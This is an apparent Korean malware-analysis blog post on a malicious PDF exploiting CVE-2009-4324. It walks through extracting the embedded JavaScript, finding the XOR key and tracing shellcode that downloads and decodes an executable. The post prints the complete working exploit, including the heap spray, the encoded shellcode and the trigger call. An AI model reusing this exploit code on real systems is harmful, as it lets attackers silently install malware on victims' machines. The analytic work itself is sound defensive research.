PDF 파일 분석 – CVE-2009-4324

얼마전 분석한 PDF 파일에 대한 분석 과정을 기록합니다. 우선 PDF 파일을 분석하는 방법은 여러 방법이 있지만 제가 사용한 방법이 정석은 아닙니다. 더 좋은 방법이 있으면 공유해 주시면 감사하겠습니다.

Type : PDF document, version 1.6
MD5 : a8e7cbfeb13ddf4c640ed6388663fec4
Size : 8.95KB (9,172 Byte)

우선 PDF 파일내에 악성 자바스크립트가 있을거라 보고 이전에도 소개한적이 있는 Pdf-Paser 툴을 이용하여 스크립트를 추출해 냅니다. (pdf-paser를 사용하기 위해서는 Python이 설치되어 있어야 합니다.)

pdf-paser : http://blog.didierstevens.com/programs/pdf-tools/
Python : http://python.org/

pdf-paser의 옵션 중 -f 옵션을 사용하면 PDF 파일내에 있는 모든 항목을 디코딩 하여 뿌려줍니다. 따라서 아래와 같이 하여 output.txt 파일에 저장을 합니다.

이제 output.txt 파일을 메모장이나 기타 에디터로 열어 확인을 합니다. 확인을 하면 82 라인에 자바스크립트로 보이는 코드가 존재합니다.

해당 코드 중 \r \n 부분은 replace를 통해 제거를 합니다. 제거 후 보기 좋게 정렬을 하면 아래와 같습니다.

function urpl(sc) {
    var keyu = "%u";
    var re = /XX/g;
    var dadong = app.viewerVersion.toString();
    dadong = dadong.replace(/\\D/g, "");
    if (! (dadong.charAt(0) == "1")) sc = sc.replace(re, keyu);
    return sc;
}
function xxsc(sc) {
    var dadong = app.viewerVersion.toString();
    dadong = dadong.replace(/\\D/g, "");
    var sprdataxx = "XX0c0cXX0c0c";
    var esprpl = unescape;
    var urpled = esprpl(urpl(sc));
    var blknum = 0x10000;
    var sprdata = esprpl(urpl(sprdataxx));
    while (sprdata.length < blknum) sprdata += sprdata;
    sprblk = sprdata.substr(0, sprdata.length);
    scblk = urpled.substr(0, urpled.length);
    memory = new Array();
    if (! (dadong.charAt(0) == "1")) for (x = 0; x < 1500; x++) memory[x] = sprblk + scblk;
}
var s = "XX9090XX5858XX5858XX10EBXX4B5BXXC933XXB966XX03B8XX3480XXBD0BXXFAE2XX05EBXXEBE8XXFFFFXX54FFXXBEA3XXbdbdXXD9E2XX8D1CXXBDBDXX36BDXXB1FDXXCD36XX10A1XXD536XX36B5XXD74AXXE4ACXX0355XXBDBFXX2DBDXX455FXX8ED5XXBD8FXXD5BDXXCEE8XXCFD8XX36E9XXB1FBXX0355XXBDBCXX36BDXXD755XXE4B8XX2355XXBDBFXX5FBDXXD544XXD3D2XXBDBDXXC8D5XXD1CFXXE9D0XXAB42XX7D38XXAEC8XXD2D5XXBDD3XXD5BDXXCFC8XXD0D1XX36E9XXB1FBXX3355XXBDBCXX36BDXXD755XXE4BCXXD355XXBDBFXX5FBDXXD544XX8ED1XXBD8FXXCED5XXD8D5XXE9D1XXFB36XX55B1XXBCD2XXBDBDXX5536XXBCD7XX55E4XXBFF2XXBDBDXX445FXX513CXXBCBDXXBDBDXX6136XX7E3CXXBD3DXXBDBDXXBDD7XXA7D7XXD7EEXX42BDXXE1EBXX7D8EXX3DFDXXBE81XXC8BDXX7A44XXBEB9XXDCE1XXD893XXF97AXXB9BEXXD8C5XXBDBDXX748EXXECECXXEAEEXX8EECXX367DXXE5FBXX9F55XXBDBCXX3EBDXXBD45XX38B2XXBD68XXBDBDXXBDD7XXBDD7XXBED7XXBDD7XXBFD7XXBDD5XXBDBDXXEE7DXXFB36XX5599XXBCBCXXBDBDXXFB34XXD7DDXXEDBDXXEB42XX3495XXD9FBXXFB36XXD7DDXXD7BDXXD7BDXXD7BDXXD7B9XXEDBDXXEB42XXD791XXD7BDXXD7BDXXD5BDXXBDA2XXBDB2XX42EDXX81EBXXFB34XX36C5XXD9F3XXC13DXX42B5XXC91FXX3DB1XXB5C1XXBD42XXB8C9XXC93DXX42B5XX5F1FXX3456XX3D3BXXBDBDXX7ABDXXCDFBXXBDBDXXBDBDXXFB7AXXBDC9XXBDBDXXD7BDXXD7BDXXD7BDXX36BDXXDDFBXX42EDXX85EBXX3B36XXBD3DXXBDBDXXBDD7XXF330XXECC9XXCB42XXEDCDXXCB42XX42DDXX8DEBXXCB42XX42DDXX89EBXXCB42XX42C5XXFDEBXX4636XX7D8EXX668EXX513CXXBFBDXXBDBDXX7136XX453EXXC0E9XX34B5XXBCA1XX7D3EXX56B9XX364EXX3671XX3E64XXAD7EXX7D8EXXECEDXXEDEEXXEDEDXXEDEDXXEAEDXXEDEDXXEB42XX36B5XXE9C3XXAD55XXBDBCXX55BDXXBDD8XXBDBDXXDED5XXCACBXXD5BDXXD5CEXXD2D9XX36E9XXB1FBXX9955XXBDBDXX34BDXX81FBXX1CD9XXBDB9XXBDBDXX1D30XX42DDXX4242XXD8D7XXCB42XX3681XXADFBXXB555XXBDBDXX8EBDXXEE66XXEEEEXX42EEXX3D6DXX5585XX853DXXC854XX3CACXXB8C5XX2D2DXX2D2DXXB5C9XX4236XX36E8XX3051XXB8FDXX5D42XX1B55XXBDBDXX7EBDXX1D55XXBDBDXX05BDXXBCACXX3DB9XXB17FXX55BDXXBD2EXXBDBDXX513CXXBCBDXXBDBDXX4136XX7A3EXX7AB9XX8FBAXX2CC9XX7AB1XXB9FAXX34DEXXF26CXXFA7AXX1DB5XX2AD8XX7A76XXB1FAXXFDECXXC207XXFA7AXX83ADXX0BA0XX7A84XXA9FAXXD405XXA669XXFA7AXX03A5XXDBC2XX7A1DXXA1FAXX1441XX108AXXFA7AXX259DXXADB7XXD945XX8D1CXXBDBDXX36BDXXB1FDXXCD36XX10A1XXD536XX36B5XXD74AXXE4B9XXE955XXBDBDXX2DBDXX455FXX8ED5XXBD8FXXD5BDXXCEE8XXCFD8XX36E9XX55BBXX42E8XX4242XX5536XXB8D7XX55E4XXBD88XXBDBDXX445FXX428EXX42EAXXB9EBXXBF56XX7EE5XX4455XX4242XXE642XXBA7BXX3405XXBCE2XX7ADBXXB8FAXX5D42XXEE7EXX6136XXD7EEXXD5FDXXADBDXXBDBDXX36EAXX9DFBXXA555XX4242XXE542XXEC7EXX36EBXX81C8XXC936XXC593XX48BEXX36EBXX9DCBXX48BEXX748EXXFCF4XXBE10XX8E78XXB266XXAD03XX6B87XXB5C9XX767CXXBEBAXXFD67XX4C56XXA286XX5AC8XX36E3XX99E3XX60BEXX36DBXXF6B1XXE336XXBEA1XX3660XX36B9XX78BEXXE316XX7EE4XX6055XX4241XX0F42XX5F4FXX8449XXC05FXX673EXXC6F5XX8F80XX2CC9XX38B1XX1262XXDE06XX6C34XXECF2XX07FDXX1DC2XX2AD8XXA376XXD919XX2E52XX598FXX3329XXB7AEXX7F11XXF6A4XX79BCXXA230XXEAC9XXB0DBXXFE42XX1103XXC066XX184DXXEF27XX1A43XX8367XX0BA0XX0584XX69D4XX03A6XXDBC2XX411DXX8A14XX2510XXADB7XX3D45XX126BXX4627XXA8EEXXD5DBXXC9C9XX87CDXX9292XXCACAXX93CAXXD4D7XXD3DCXXDCD9XXD3D2XXC9D8XXDE93XXD0D2XXD792XXDBDEXXD692XX8C8DXXD893XXD8C5XXBDBDXXBDBDXXBDBDXXBDBDXXBDBDXXEAEA";
xxsc(s);
var str1 = unescape("%u0d0c%u0d0c%u0d0c%u0d0c%u4170%u6d7a%u554b%u4d67%u794f%u514f%u6f4d%u585a%u764f%u4c56%u6f4b%u4858%u4249%u666d%u566f%u625a%u4567%u7568%u6a46%u5258%u714e%u7961%u7a61%u4878%u756b%u754d%u4c57%u647a%u5870%u4d46%u4462%u4b4f");
var knorton = null;
util.printd("iSEBmXdJuJaZPdfHPwpYufjzytWwzFeuuyQm", new Date());
util.printd("rWVYiRicDUOoKIBKkMkzGoxiXLdrLBPfKPZj", new Date());
try {
    this.media.newPlayer(knorton);
} catch(e) {}
util.printd(str1, new Date());

위와 같이 코드를 보기 좋게 정렬하는 방법은 여러 가지가 있겠지만 저같은 경우에는 Malzilla에서 Decoder 탭에서 Format code 버튼을 눌러 정렬 하거나 http://jsbeautifier.org 사이트에서 정렬을 하곤 합니다.

그럼 코드를 살펴 보면 s 변수의 값이 쉘코드 임을 알 수 있습니다. 그리고 XX는 %u로 replace 됨을 알 수 있고요. 그럼 해당 부분만 따로 떼어 확인해 보도록 하겠습니다. 여기서 부터는 Malzilla를 사용하도록 하겠습니다.

Malzilla : http://malzilla.sourceforge.net/

Malzilla에서 [Misc Decoders] 탭에서 작업을 시작합니다. 우선 쉘코드를 붙여 넣습니다. 그리고 replace 기능을 이용하여 아래와 같이 XX를 %u로 변경 합니다.

변경 후 Hex 값으로 정렬하기 위해 [UCS2 To Hex] 버튼을 누릅니다.

이제 Hex 값 형태로 쉘코드가 만들어 졌습니다. 이 값들을 모두 복사하여 Malzilla에 [Hex view] 탭으로 옮겨가서 붙여넣도록 하겠습니다. 붙여 넣을땐 [Paste as hex]로 붙여 넣어야 합니다. 붙여 넣게 되면 아래와 같이 나오게 됩니다.

여기서 보통 쉘코드가 XOR로 인코딩이 많이 되어 있어 오른쪽에 있는 [File XOR Key] 메뉴를 사용하여 XOR키를 찾아 보도록 하겠습니다. 해당 쉘코드가 특정 주소에서 파일을 다운로드 및 실행을 할거라 예상하고 http 문자열로 검색해 보도록 하겠습니다.

http 입력 후 [Find] 버튼을 누르면 XOR키를 브루트 포스하여 http 문자열이 나올때 까지 돌게 됩니다. 맞는 키가 나오면 아래와 같이 Key에 표시가 됩니다. 여기서는 bd가 키군요. XOR 키를 찾았으니 적용을 해보도록 합니다. 하고 나니 주소가 보이는군요. 이제 해당 주소에서 파일을 다운로드 해보도록 하겠습니다.

파일을 다운로드 하여 확인을 해보니 PE 파일이 아닌 data로 나오는군요? 무언가 이상합니다. 그래서 해당 파일을 다운로드 후 어떤 변환작업을 거친다고 생각할 수 있습니다. 그럼 이제 쉘코드를 다시 분석해보는 방법밖에는 없을거 같네요.

쉘코드를 EXE 파일로 변환해주는 툴이 있습니다. iDefence 사에서 제공하는 Malcode Analysis Pack 에 보면 shellcode2exe 라는 툴이 있습니다. 해당 툴을 이용하여 exe 파일로 만들어 OllyDBG에서 분석을 해보도록 하겠습니다.

Malcode Analysis Pack : http://labs.idefense.com/software/malcode.php#more_malcode+analysis+pack
shellcode2exe : http://sandsprite.com/shellcode_2_exe.php

shellcode2exe 서비스를 제공하는 사이트에서 쉘코드를 붙여넣은 후 EXE 파일을 다운로드 받습니다.

이제 해당 파일을 OllyDBG로 열어 분석을 해보도록 하겠습니다. 열어서 트레이싱 하다 보면 파일을 다운로드 하는 부분이 존재합니다.

저 파일은 이전에 정상적인 PE가 아닌 파일인 것으로 확인했던 파일입니다. 그럼 좀 더 내려가다 보면 어떠한 과정을 거치는 지 확인해볼 수 있을거 같네요. 좀 더 내려가 보겠습니다.

이 부분이 문제의 부분입니다. 즉, 00, A2일 경우 XOR을 하지 않고 넘어가고 아닐 경우에만 A2 키로 XOR을 하는 것입니다. 이제 모든 의문이 풀린거 같습니다. 해당 내용을 스크립트화 하여 다운로드 했던 파일을 고쳐 보도록 하겠습니다.

#!/usr/bin/python
import operator
file = open('k01.exe', 'rb')
data = file.read()
newfile = open('output.exe', 'wb')

for x in data:
    if ord(x) == 0x00 or ord(x) == 0xa2:
        newfile.write(chr(ord(x)))
    else:
        newfile.write(chr(operator.xor(ord(x), 0xa2)))

위 코드는 k01.exe 파일을 열어 00, A2를 제외만 모든 값을 A2키로 XOR을 하는 스크립트 입니다. 결과를 보도록 하죠.

정상적인 PE 파일로 완성이 되었네요. 즉 정리를 하자면 PDF 파일을 열게되면 k01.exe 파일을 다운로드 하여 XOR 과정을 거친 후 해당 파일을 실행하는 쉘코드가 되겠네요.

EOF

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다